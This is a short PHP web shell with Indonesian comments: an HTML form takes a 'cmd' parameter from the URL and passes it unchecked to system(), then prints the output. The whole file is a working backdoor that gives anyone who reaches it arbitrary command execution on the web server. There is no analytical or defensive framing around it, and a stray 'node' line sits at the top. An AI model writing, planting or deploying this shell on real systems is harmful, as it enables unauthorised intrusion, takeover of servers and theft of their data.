node
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="cmd" autofocus size="80" placeholder="Masukkan perintah (ex: uname -a)">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
// Mencoba menjalankan perintah menggunakan system()
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>